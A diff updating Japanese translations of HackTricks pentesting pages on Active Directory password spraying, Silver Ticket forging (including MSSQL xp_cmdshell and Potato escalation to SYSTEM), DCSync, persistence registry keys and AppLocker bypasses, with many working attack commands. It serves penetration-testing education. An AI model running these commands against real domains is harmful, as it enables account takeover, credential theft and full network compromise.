diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index df9afbfb3..237cd159a 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**素晴らしい投稿をチェックしてください:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**こちらの素晴らしい記事をチェック:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 2c579c9e4..3a0e24eda 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も一般的な**common passwords**を試すことができます(環境の**password policy**を考慮してください)。\ -**By default**、**minimum** **password** **length**は**7**です。 +いくつかの**valid usernames**を見つけたら、発見した各ユーザに対して最も一般的な**common passwords**を試すことができます(環境の**password policy**を考慮してください)。\ +By **default** the **minimum** **password** **length** is **7**. -common usernamesのリストも有用です: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -注意:複数の誤った**passwords**を試行すると、一部のアカウントが**lockout**される可能性があります(by default は 10 回以上)。 +注意:**複数回間違った passwords を試すといくつかのアカウントが lockout される可能性があります**(デフォルトでは 10 回以上)。 -### Get password policy +### password policy を取得する -If you have some user credentials or a shell as a domain user you can **get the password policy with**: +もし user credentials を持っているか、domain user として shell を持っている場合は、**password policy を取得するには**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,32 +31,32 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation (Linux または全OSから) +### Linux(またはすべて)からのExploitation -- 使用 **crackmapexec:** +- **crackmapexec:** を使用する ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) を使用する +- [**kerbrute**](https://github.com/ropnop/kerbrute) を使用する (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(ロックアウトを回避するために試行回数を指定できます):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(ロックアウトを避けるために試行回数を指定できます):**_ ```bash spray.sh -smb ``` -- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) を使用する (python) - 推奨されません。場合によっては動作しないことがあります +- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) を使用する - 推奨されません。場合によっては動作しないことがあります ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- Metasploitの`scanner/smb/smb_login`モジュールを使用して: +- **Metasploit**の`scanner/smb/smb_login`モジュールを使用して: ![](<../../images/image (745).png>) @@ -67,9 +67,9 @@ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Windows 上から +#### Windowsから -- [Rubeus](https://github.com/Zer1t0/Rubeus) の brute module を含むバージョンで: +- brute module を含むバージョンの [Rubeus](https://github.com/Zer1t0/Rubeus) を使用: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると(デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得してそれに従って試行回数を制限します): +- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると (デフォルトでドメインからユーザーを生成でき、ドメインからパスワードポリシーを取得し、それに応じて試行回数を制限します): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,21 +85,53 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` +### "Password must change at next logon" アカウントを特定して乗っ取る (SAMR) + +低ノイズな手法として、benign/empty password を spray して STATUS_PASSWORD_MUST_CHANGE を返すアカウントを検出する方法がある。これはパスワードが強制的に期限切れにされており、古いパスワードを知らなくても変更できることを示す。 + +ワークフロー: +- ユーザーを列挙する (RID brute via SAMR) を行い、ターゲットリストを作成する: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +{{#endref}} +```bash +# NetExec (null/guest) + RID brute to harvest users +netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt +``` +- Spray an empty password を試し、hits が出ても続行して、次回 logon 時にパスワード変更が必須のアカウントを捕捉する: +```bash +# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results +netexec smb -u users.txt -p '' --continue-on-success +``` +- ヒットごとに、NetExecのモジュールでSAMR経由でパスワードを変更する("must change" が設定されている場合、古いパスワードは不要): +```bash +# Strong complexity to satisfy policy +env NEWPASS='P@ssw0rd!2025#' ; \ +netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" + +# Validate and retrieve domain password policy with the new creds +netexec smb -u -p "$NEWPASS" --pass-pol +``` +運用ノート: +- Kerberosを使用する操作を行う前に、ホストのクロックがDCと同期していることを確認してください: `sudo ntpdate `. +- 一部のモジュール(例: RDP/WinRM)では、(Pwn3d!) を伴わない [+] は、creds は有効だがアカウントに対話型ログオン権限がないことを意味します。 + ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying は SMB/NTLM/LDAP bind attempts に比べノイズを抑え、AD lockout policies とより整合します。SpearSpray は LDAP ドリブンのターゲティング、パターンエンジン、ポリシー認識(domain policy + PSOs + badPwdCount buffer)を組み合わせて、正確かつ安全にスプレーを行います。また、Neo4j に侵害されたプリンシパルをタグ付けして BloodHound のパス探索に利用することもできます。 +Kerberos pre-auth–based spraying は SMB/NTLM/LDAP の bind 試行に比べてノイズを減らし、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP-driven targeting、pattern engine、および policy awareness(domain policy + PSOs + badPwdCount buffer)を組み合わせ、精密かつ安全に spray を行います。また、BloodHound の pathing 用に Neo4j に compromised principals をタグ付けすることもできます。 Key ideas: -- LDAP ユーザー検出(ページングと LDAPS サポート)、オプションでカスタム LDAP フィルタを使用可能。 -- ドメインロックアウトポリシー + PSO 対応フィルタリングにより、設定可能な試行バッファ(threshold)を残してユーザーのロックを回避。 -- 高速な gssapi bindings を使用した Kerberos pre-auth 検証(DC 上では 4625 の代わりに 4768/4771 を生成)。 -- 名前や各ユーザーの pwdLastSet に由来する時間値などの変数を使った、パターンベースのユーザー毎パスワード生成。 -- スレッド、ジッター、秒あたり最大リクエスト数によるスループット制御。 -- 任意の Neo4j 統合で、BloodHound 用に侵害済みユーザーをマーク。 +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Domain lockout policy + PSO-aware filtering を用い、設定可能な試行バッファ(threshold)を残してユーザーのロックを回避します。 +- Kerberos pre-auth validation using fast gssapi bindings(DC 上では 4625 の代わりに 4768/4771 を生成)。 +- 名前などの変数や各ユーザーの pwdLastSet から導出される時刻値を用いた、パターンベースのユーザー毎のパスワード生成。 +- スループット制御(threads、jitter、max requests per second)。 +- Optional Neo4j integration to mark owned users for BloodHound. Basic usage and discovery: ```bash @@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -ターゲティングとパターン制御: +ターゲット選定とパターン制御: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -ステルスおよび安全対策: +ステルスと安全対策: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -129,7 +161,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Leave N attempts in reserve before lockout (default threshold: 2) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 ``` -Neo4j/BloodHound のデータ強化: +Neo4j/BloodHound のエンリッチメント: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` @@ -142,29 +174,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local {samaccountname} {extra}{separator}{year}{suffix} ``` -利用可能な変数には以下が含まれます: +Available variables include: - {name}, {samaccountname} - Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} - Composition helpers and org token: {separator}, {suffix}, {extra} -運用上の注意: -- 最も権威ある badPwdCount とポリシー関連情報を読むには、-dc を指定して PDC-emulator に問い合わせることを推奨します。 -- badPwdCount のリセットは観測ウィンドウ後の次回試行で発生するため、しきい値とタイミングを調整して安全を保ってください。 -- Kerberos pre-auth の試行は DC テレメトリで 4768/4771 として現れるため、jitter や rate-limiting を使って目立たないようにしてください。 +Operational notes: +- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. +- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. +- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. -> ヒント: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access -p**assword spraying outlook**用のツールが複数あります。 +p**assword spraying outlook** 用のツールはいくつかあります。 -- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用 -- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用 -- [Ruler](https://github.com/sensepost/ruler) を使用(信頼性が高い) -- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) を使用(Powershell) -- [MailSniper](https://github.com/dafthack/MailSniper) を使用(Powershell) +- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使って +- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使って +- [Ruler](https://github.com/sensepost/ruler) (reliable!) +- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -これらのツールを使用するには、ユーザーリストと spray 用の password(単一または少数)が必要です。 +To use any of these tools, you need a user list and a password / a small list of passwords to spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -194,6 +226,7 @@ p**assword spraying outlook**用のツールが複数あります。 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) +- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 63e30e9b4..56f560b4a 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,13 +6,13 @@ ## Silver ticket -**Silver Ticket**攻撃は、Active Directory (AD) 環境におけるサービスチケットの悪用を含みます。この手法は、**サービスアカウントのNTLMハッシュを取得すること**に依存し、Ticket Granting Service (TGS) チケットを偽造します。この偽造されたチケットを使用することで、攻撃者はネットワーク上の特定のサービスにアクセスでき、**任意のユーザーを偽装**し、通常は管理者権限を狙います。チケットを偽造する際にAESキーを使用することが、より安全で検出されにくいことが強調されています。 +The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable. > [!WARNING] -> Silver Ticketsは、**サービスアカウントのハッシュ**のみを必要とし、krbtgtアカウントを必要としないため、Golden Ticketsよりも検出されにくいです。しかし、ターゲットとする特定のサービスに制限されています。さらに、ユーザーのパスワードを盗むだけではありません。 -また、**SPNを持つアカウントのパスワードを侵害した場合**、そのパスワードを使用して任意のユーザーをそのサービスに偽装するSilver Ticketを作成できます。 +> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. +Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. -チケット作成には、オペレーティングシステムに基づいて異なるツールが使用されます。 +For ticket crafting, different tools are employed based on the operating system: ### On Linux ```bash @@ -20,7 +20,7 @@ python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` -### Windowsについて +### Windows上で ```bash # Using Rubeus ## /ldap option is used to get domain data automatically @@ -37,56 +37,86 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -CIFSサービスは、被害者のファイルシステムにアクセスするための一般的なターゲットとして強調されていますが、HOSTやRPCSSなどの他のサービスもタスクやWMIクエリのために悪用される可能性があります。 +CIFS service は標的のファイルシステムへアクセスする一般的なターゲットとしてよく挙げられますが、HOST や RPCSS といった他のサービスもタスクや WMI クエリの実行に悪用可能です。 + +### 例:MSSQL service (MSSQLSvc) + Potato to SYSTEM + +SQL サービスアカウント(例: sqlsvc)の NTLM ハッシュ(または AES キー)を入手している場合、MSSQL SPN に対する TGS を偽造して SQL service に対して任意のユーザーを偽装できます。そこから xp_cmdshell を有効化して SQL サービスアカウントとしてコマンドを実行します。その token に SeImpersonatePrivilege が含まれていれば、Potato をチェーンして SYSTEM に昇格できます。 +```bash +# Forge a silver ticket for MSSQLSvc (RC4/NTLM example) +python ticketer.py -nthash -domain-sid -domain \ +-spn MSSQLSvc/:1433 administrator +export KRB5CCNAME=$PWD/administrator.ccache + +# Connect to SQL using Kerberos and run commands via xp_cmdshell +impacket-mssqlclient -k -no-pass /administrator@:1433 \ +-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" +``` +- 結果のコンテキストに SeImpersonatePrivilege がある場合(サービスアカウントではよくある)、SYSTEM を取得するために Potato のバリアントを使用する: +```bash +# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato +PrintSpoofer.exe -c "cmd /c whoami" +# or +GodPotato -cmd "cmd /c whoami" +``` +More details on abusing MSSQL and enabling xp_cmdshell: +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + +Potato techniques overview: +{{#ref}} +../windows-local-privilege-escalation/roguepotato-and-printspoofer.md +{{#endref}} ## 利用可能なサービス -| サービスタイプ | サービスシルバーチケット | +| サービスの種類 | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShellリモーティング |

HOST

HTTP

OSによっては:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

場合によっては、単に要求することができます: WINRM

| -| スケジュールされたタスク | HOST | -| Windowsファイル共有、またpsexec | CIFS | -| LDAP操作、DCSyncを含む | LDAP | -| Windowsリモートサーバー管理ツール |

RPCSS

LDAP

CIFS

| -| ゴールデンチケット | krbtgt | +| PowerShell Remoting |

HOST

HTTP

OSによっては以下も:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

場合によっては単に要求するだけで済むことがあります: WINRM

| +| Scheduled Tasks | HOST | +| Windows File Share, also psexec | CIFS | +| LDAP operations, included DCSync | LDAP | +| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| +| Golden Tickets | krbtgt | -**Rubeus**を使用すると、次のパラメータを使用して**すべての**チケットを**要求**できます: +Using **Rubeus** you may **ask for all** these tickets using the parameter: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### シルバーチケットのイベントID +### Silver tickets イベント ID -- 4624: アカウントログオン -- 4634: アカウントログオフ +- 4624: アカウント ログオン +- 4634: アカウント ログオフ - 4672: 管理者ログオン -## 永続性 +## 永続化 -マシンが30日ごとにパスワードを回転させないようにするには、`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`を設定するか、`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`を30日より大きな値に設定して、マシンのパスワードが回転すべき期間を示します。 +マシンが30日ごとにパスワードをローテーションするのを回避するには、`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` を設定するか、`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` を30日より大きい値に設定して、マシンのパスワードをローテーションする期間を延長できます。 -## サービスタケットの悪用 +## サービスチケットの悪用 -次の例では、チケットが管理者アカウントを偽装して取得されたと想定します。 +以下の例では、チケットが管理者アカウントを偽装して取得されたと仮定します。 ### CIFS -このチケットを使用すると、**SMB**を介して`C$`および`ADMIN$`フォルダーにアクセスし、リモートファイルシステムの一部にファイルをコピーすることができます。これは次のように行います: +このチケットを使うと、`C$` や `ADMIN$` フォルダに **SMB** 経由でアクセスでき(公開されていれば)、リモートファイルシステムの一部にファイルをコピーできます。例えば次のように実行します: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -あなたはまた、**psexec**を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりすることができます: +また、**psexec** を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりできます: {{#ref}} ../lateral-movement/psexec-and-winexec.md {{#endref}} -### HOST +### ホスト -この権限を使用すると、リモートコンピュータでスケジュールされたタスクを生成し、任意のコマンドを実行することができます: +この権限があれば、リモートコンピュータ上にスケジュールされたタスクを作成し、任意のコマンドを実行できます: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -100,7 +130,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -これらのチケットを使用すると、**被害者システムでWMIを実行できます**: +これらのチケットを使うと、**標的システムでWMIを実行できます**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -110,43 +140,50 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -以下のページで**wmiexec**に関する詳細情報を見つけてください: +以下のページで **wmiexec に関する詳細** を確認してください: + {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} -### HOST + WSMAN (WINRM) +### ホスト + WSMAN (WINRM) -winrmアクセスを介してコンピュータに**アクセス**し、PowerShellを取得することもできます: +コンピュータに対する winrm アクセスがあれば、それに **access it** し、PowerShell を取得することさえできます: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -以下のページを確認して、**winrmを使用してリモートホストに接続する他の方法**を学んでください: +次のページを確認して、**winrmを使用してリモートホストに接続する他の方法**を学んでください: + {{#ref}} ../lateral-movement/winrm.md {{#endref}} > [!WARNING] -> **winrmはリモートコンピュータでアクティブでリスニングしている必要があります**。 +> リモートコンピュータにアクセスするには、**winrmが有効でリッスンしている必要がある**ことに注意してください。 ### LDAP -この特権を使用すると、**DCSync**を使用してDCデータベースをダンプできます: +この権限があれば、**DCSync**を使用してDCのデータベースをダンプすることができます: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**DCSyncについてもっと学ぶ**には、以下のページをご覧ください: +**DCSync について詳しく学ぶには** 次のページを参照してください: + {{#ref}} dcsync.md {{#endref}} -## 参考文献 + +## 参考資料 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) +- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index fc7f87532..a54c6b614 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,17 +1,17 @@ -# Windows Security Controls +# Windows セキュリティコントロール {{#include ../../banners/hacktricks-training.md}} -## AppLocker Policy +## AppLocker ポリシー -アプリケーションホワイトリストは、システム上で存在し実行されることが許可された承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、環境を有害なマルウェアや、組織の特定のビジネスニーズに合致しない未承認のソフトウェアから保護することです。 +アプリケーションのホワイトリストは、システム上で存在し実行が許可される承認済みソフトウェアや実行ファイルの一覧です。目的は、組織の業務要件に合わない有害なマルウェアや未承認ソフトウェアから環境を保護することです。 -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は、Microsoftの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションやファイルを制御する**機能を提供します。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して**詳細な制御**を提供します。\ -組織が**cmd.exeとPowerShell.exe**をブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、**これらはすべて回避可能です**。 +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は Microsoft の **アプリケーションホワイトリスティングソリューション** で、システム管理者に **ユーザーが実行できるアプリケーションとファイル** を制御する手段を提供します。**詳細な制御** を実行可能ファイル、スクリプト、Windows インストーラーファイル、DLL、パッケージ化されたアプリ、およびパックされたアプリインストーラーに対して提供します。\ +組織によっては **cmd.exe と PowerShell.exe をブロック** し特定ディレクトリへの書き込みを禁止することが一般的ですが、**これらはすべて回避可能** です。 -### Check +### チェック -ブラックリストまたはホワイトリストに登録されているファイル/拡張子を確認します: +どのファイル/拡張子がブラックリスト/ホワイトリスト化されているかを確認する: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -このレジストリパスには、AppLockerによって適用された設定とポリシーが含まれており、システム上で強制されている現在のルールセットを確認する方法を提供します: +This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` -### バイパス +### Bypass -- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意のものを実行することを許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。 +- AppLocker Policy を bypass するのに便利な **Writable folders**: AppLocker が `C:\Windows\System32` または `C:\Windows` 内での実行を許可している場合、**writable folders** を使って **bypass this** することができます。 ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- 一般的に**信頼された** [**"LOLBAS's"**](https://lolbas-project.github.io/) バイナリは、AppLockerを回避するのにも役立ちます。 -- **不適切に書かれたルールも回避される可能性があります** -- 例えば、**``** の場合、どこにでも**`allowed`**という**フォルダーを作成**すれば許可されます。 -- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`** 実行可能ファイルを**ブロックすることに焦点を当てますが、他の** [**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` や `PowerShell_ISE.exe` などです。 -- **DLLの強制は非常に稀に有効**であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が理由です。したがって、**DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます**。 -- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) や [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、**Powershell** コードを任意のプロセスで実行し、AppLockerを回避できます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode) を確認してください。 +- 一般的に **信頼されている** [**"LOLBAS's"**](https://lolbas-project.github.io/) バイナリは AppLocker のバイパスにも有用です。 +- **不適切に記述されたルールもバイパスされる可能性があります** +- 例えば、**``** のような場合、どこにでも **`allowed` というフォルダ** を作成すれば許可されます。 +- 組織はしばしば **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 実行ファイルのブロック** に注力しますが、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` や `PowerShell_ISE.exe` のような **他の** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) を見落としがちです。 +- **DLL の強制は、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテスト量のためにほとんど有効化されていません。** したがって、**バックドアとして DLL を使用することは AppLocker のバイパスに役立ちます。** +- 任意のプロセス内で PowerShell コードを **実行** して AppLocker をバイパスするために、[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) や [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用できます。詳細は次を参照してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## 資格情報の保存 +## 認証情報の保存 -### セキュリティアカウントマネージャー (SAM) +### セキュリティアカウントマネージャ (SAM) -ローカル資格情報はこのファイルに存在し、パスワードはハッシュ化されています。 +ローカルの資格情報がこのファイルに存在し、パスワードはハッシュ化されています。 -### ローカルセキュリティ機関 (LSA) - LSASS +### ローカルセキュリティオーソリティ (LSA) - LSASS -**資格情報**(ハッシュ化されたもの)は、シングルサインオンの理由からこのサブシステムの**メモリ**に**保存**されます。\ -**LSA**はローカルの**セキュリティポリシー**(パスワードポリシー、ユーザー権限など)、**認証**、**アクセス トークン**を管理します。\ -LSAは、**SAM**ファイル内の提供された資格情報を**確認**し(ローカルログイン用)、ドメインユーザーを認証するために**ドメインコントローラー**と**通信**します。 +**資格情報**(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムの**メモリ**に**保存**されます。\ +**LSA** はローカルの**セキュリティポリシー**(パスワードポリシー、ユーザー権限...)、**認証**、**アクセストークン**などを管理します。\ +LSA はローカルログイン時に **SAM** ファイル内の提供された資格情報を**チェック**し、ドメインユーザーを認証するために **domain controller** と**やり取り**します。 -**資格情報**は**プロセスLSASS**内に**保存**されます:Kerberosチケット、NTおよびLMのハッシュ、簡単に復号化できるパスワード。 +これらの**資格情報**は**LSASS プロセス**内に**保存**されています:Kerberos チケット、NT および LM ハッシュ、容易に復号されるパスワードなど。 -### LSAシークレット +### LSA シークレット 